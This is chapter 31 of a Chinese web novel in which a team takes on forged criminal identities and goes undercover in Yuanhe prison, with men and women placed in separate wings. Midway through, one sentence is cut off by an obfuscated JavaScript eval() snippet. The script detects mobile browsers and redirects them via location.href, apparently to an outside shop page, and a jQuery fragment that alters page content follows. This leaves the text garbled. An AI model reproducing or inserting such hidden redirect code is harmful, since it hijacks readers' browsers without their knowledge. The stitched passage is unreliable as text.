31. 潜入
作品:《异能局社畜日常[后末日]》 飞机穿过云层,舷窗外漆黑一片,容贤坐在窗边,偶尔能看到下方星星点点。。
这是一架私人飞机,看不出什么型号,只知道是赵家的。
内部空间不大,布置舒适,座椅是真皮的,桌上摆着点心和饮料。
车尔在驾驶舱里专注地操控着方向,剩下的人就在客舱里坐着,各个都有自己的事要做。
杨理火翘着二郎腿,翻着手里的身份卡,嘴里念念有词:“曾易,三十五岁,诈骗惯犯,涉案金额三百二十万,被判七年……”
严回春瞥他一眼:“你这是给自己量身定制啊,不错不错,你很擅长。”
“承蒙夸奖,确实,能找到这么天才的身份,也只有我了。”杨理火不慌不忙,“开颜,你说对不对?”
“说的对。”向开颜正对着镜子调整自己的发型,闻言慢悠悠道:“包欣欣,四十二岁,过失杀人,判十二年。这个身份还是挺好的。”
杨理火满意点头,“只有你懂我。”又去看容贤:“你呢?感觉怎么样?”
容贤低头看着手里的身份卡:“白容,二十四岁,偷盗贵重物品,涉案金额八十万,判五年。”
杨理火解释,“这是我专门给你找的,符合你的人设,闷声干大事那种。”
容贤没理他,把身份卡收好,目光落在赵随石身上。他坐在前面靠窗的位置,手里也拿着一张卡,眉头微蹙。
“安珏。”严回春凑过去念出声,“三十九岁,强盗团核心成员,涉及多起暴力抢劫,判无期。”他大为震撼,“赵哥,你这是重刑犯啊。”
“杨理火,你怎么回事,沒安好心。”
“哎呀,这不是没几个合适的嘛,有就不错了。”楊理火打哈哈,试图混过去。
赵随石没什么表情,只是把卡收进口袋,看向窗外。
车尔的声音从驾驶舱传来:“还有半小时降落。记住,进去之后,你们就是这些人。名字、背景、罪名,都背熟了。源河监狱有自己的档案系统,和我们那边不联网,但他们会做基础核查,别露馅。”
严回春皱眉:“我们这几个罪名各不相同,怎么凑一块儿的?”
“随机押送。”赵随石终于开口,“犯人不一定认识,一起进监区很正常。如果有人问,就说路上认识的,或者干脆说不熟。”
向开颜点点头:“分开关押,男女分开,咱们得兵分两路。”
“对。”赵随石看向容贤,“你和开颜进女监,我们进男监。进去之后,先熟悉环境,别急着行动。监狱里有自己的规矩,摸清了再动。”
容贤点头。
杨理火忽然问:“那个卓蓝呢?她们什么时候来?”
“不知道。”赵随石说,“她有她的渠道,到了自然会联系。”
严回春啧了一声:“搞得这么神秘。”
“安全第一。”赵随石看了他一眼,“源河监狱水深,背后是谁我们都清楚。卓蓝是异警部的人,如果被抓,牵连的不只是她自己。”
客舱里安静下来。
飞机开始下降,舷窗外的颜色越来越亮,远处,有一道隐约可见的、泛着微光的细线,横亘在地平线上。
源河防线。
容贤盯着那道线,心里涌起一种奇妙的安定感,大概是因为她从小就在看的缘故吧,她觉得安心。
“到了。”车尔的声音传来,“准备降落。”
……
源河监狱的大门依旧是那个样子,重新修建也不换一个新样式,还有这灰蒙蒙大雾,什么也看不清,当年她趁着爆炸离开,回头看到的也是这样的天空。
从空中看,它像一座灰黑色的堡垒,匍匐在荒原上,四周是高耸的围墙和瞭望塔,塔顶有探照灯来回扫射。监狱后方,罩着一个巨大的棚子。
“那是犯人的工作地点。源河防线需要定期维护,那些工作,都是里面的人在做。”赵随石正和其他队友科普。
容贤有种错觉,觉得他比她还熟悉这里。
飞机降落在监狱外的专用停机坪。
舱门打开,一股干燥冰冷的风灌进来,带着说不清的、类似金属和尘土混合的气味。
几个穿着制服的人已经在外面等着。为首的是个四十多岁的男人,方脸,厚嘴唇,目光精明而警惕。他身后站着四个全副武装的狱警,手里拿着能量枪。
容贤对这个男人并不陌生,原本只是一个不起眼的狱警,看他衣服上的标志,成了一位管理员。这并不意外,如果对方没有死于那场爆炸,升职也在所难免。
她放轻呼吸,让自己的存在感降到最低。
“赵家的人?”那男人上前一步,目光在几人身上扫过。
车尔走在最前面,递出一份文件:“德威特,负责押送。这是名单。”
男人接过文件翻了翻,点了点头:“吴局长交代过了,你们直接进流程。”他朝身后的狱警摆摆手,“带他们去登记。”
容贤低着头,跟在向开颜身后,往监狱大门走去。路过那男人身边时,她感觉到他的目光在自己身上停了一瞬。
很轻,但存在。
她没有抬头,只是放慢了一点脚步,落在向开颜后面。
离男人最近的狱警问,“刘长官,怎么了?你在看什么?”
“……没,去做你该做的事去。”
……
登记处在一栋灰色的小楼里。男女分开。
容贤和向开颜被带进一间狭窄的房间,里面只有一张桌子、两把椅子,和一个面无表情的女狱警。
“脱衣服。”
向开颜看了容贤一眼,率先动手。容贤跟着照做,动作利落,没有迟疑。
女狱警拿着扫描仪在她们身上扫过,重点检查了手腕和脚踝。
容贤腕上的绿宝石链子在扫描仪下闪过一道微弱的光,但什么也没发生,赵随石说过,这东西经过特殊处理,普通设备检测不到。
女狱警才不管她手腕带着什么,通通让她卸下来,目光严厉,“动作快!”
在向开颜隐含担忧的眼睛下,她摘下来,放在盒子里说:“这个链子对我来说很重要。”
女狱警无情的合上盖子,“等你出来,回原样返还。”
“可以了。”它指了指旁边的柜子,“换囚服,编号贴在左胸。你们是0178和0179号。”
囚服是灰蓝色的,粗糙,不合身。容贤感觉良好。
向开颜觉得自己像是披了一层砂纸,不算细腻的皮肤被磨的生疼,能看到的手腕已经发红,她皱了皱眉。
“出来。”
她们被带出小楼,穿过一道铁门,进入真正的监区。
女监在监狱的东侧,是一栋四层的灰砖楼,每层都有铁栏杆围成的走廊。此刻正是放风时间,院子里三三两两站着一些女囚,有的晒太阳,有的低声交谈,有的只是靠着墙发呆。
容贤的目光扫过人群,离开六年,犯人已经换了一波人,她竟一个都不认识,心里划过惊疑。
这些人大约有四十个左右,年龄从二十到六十不等,多数人脸上带着麻木,少数几个眼神锐利,在她们经过时投来审视的目光。
“新来的。”一个声音响起。
容贤循声看去,院子的角落,有个四十多岁的女人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299832|195618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
正坐在石凳上,手里拿着一本书。她穿着和其他人一样的囚服,但气质完全不同,坐姿端正,目光沉稳,像是坐在自己的书房里。
“那边是烟烟姐。”带路的狱警低声说了一句,没多解释。
向开颜和容贤交换了一个眼神。
这个烟烟姐应该是女监里的“人物”。
她们被带到四楼的一间牢房。和外面的职工宿舍房间没什么太大区别,四张上下铺,住着六个人,现在加上她们,正好满员。
“就是这里了,空着那两个就是你们的床铺。”狱警和她们说完,敲了敲离得近的床,“两个新人,有什么不懂就告诉她们。”
没等人回应,她就走了。
容贤扫了一眼房间,最靠里的那张下铺空着,上铺躺着一个年轻女人,正闭着眼睛,不知道睡没睡。靠窗的位置有个中年女人盘腿坐着念经,对她们也视若无睹。还有几个人挤在角落里打牌,时不时传来压抑的笑声。
向开颜走过去,把东西放在那张空铺上。容贤跟过去,刚坐下,就感觉到一道目光落在自己身上。
是那个念经的女人,她睁开眼,看着容贤,眼神平静得近乎冷漠。
“新来的?叫什么?”
“白容。”容贤按照身份卡上的回答。
“犯了什么事?”
“偷东西。”
女人点点头,又不再说话。
容贤靠在墙上,目光扫过房间里每一个人。那个打牌的几个女人偶尔偷看她们一眼,但很快就移开视线。上铺的年轻女人翻了个身,背对着她。
一切都很正常。正常的冷漠,正常的好奇,正常的排外。
但容贤总觉得有什么地方不对劲。
她说不上来。
……
与此同时,男监那边。
赵随石、杨理火、严回春被分到了同一间牢房,本来也没那么巧,牢房空出三个床铺很少见,是赵随石提前要求,专门找到这么一间牢房让他们以“同案犯”的名义关在一起。
牢房比女监那边大一些,住着十个人。他们三个进来之后,立刻成了全屋的焦点。
一个光头男人从床上坐起来,打量着他们,目光在赵随石脸上停得最久。
“新来的?”
“嗯。”赵随石简短地应了一声,走到靠窗的一个空铺坐下。
光头男人笑了一声,那笑声里带着点试探,也带着点挑衅:“脾气不小。犯什么事儿了?”
“强盗。”
“强盗?”光头挑了挑眉,“那可是重罪。看来你手上沾过血。”
赵随石没说话,只是看着他。
光头被他看得有点不自在,移开视线,又去看杨理火和严回春:“你们俩呢?也是强盗?”
杨理火露出一个标准的骗子式笑容:“我是诈骗。他杀人。”
“杀人?”光头又看向严回春,眼神里多了几分忌惮。
严回春面无表情地坐在自己铺上,连眼皮都没抬。
光头忽然鼓起掌,哈哈大笑起来:“真有意思。刚换个房间还能给我这么大的惊喜,比我之前呆的有趣多了,我们这啊,卧虎藏龙。”
他站起身,走到赵随石面前,伸出手:“叫我黑哥就行。这屋里我说了算,有什么事,跟我说。”
赵随石看着他伸出的手,没有握,只是点了点头。
黑哥的手悬在半空,全然不觉尴尬,把手收了回去,“行,有性格,我喜欢。”
杨理火和严回春交换了一个眼神。
这个黑哥,就是男监里的一个“派系头目”。他们刚进来,就碰到了。

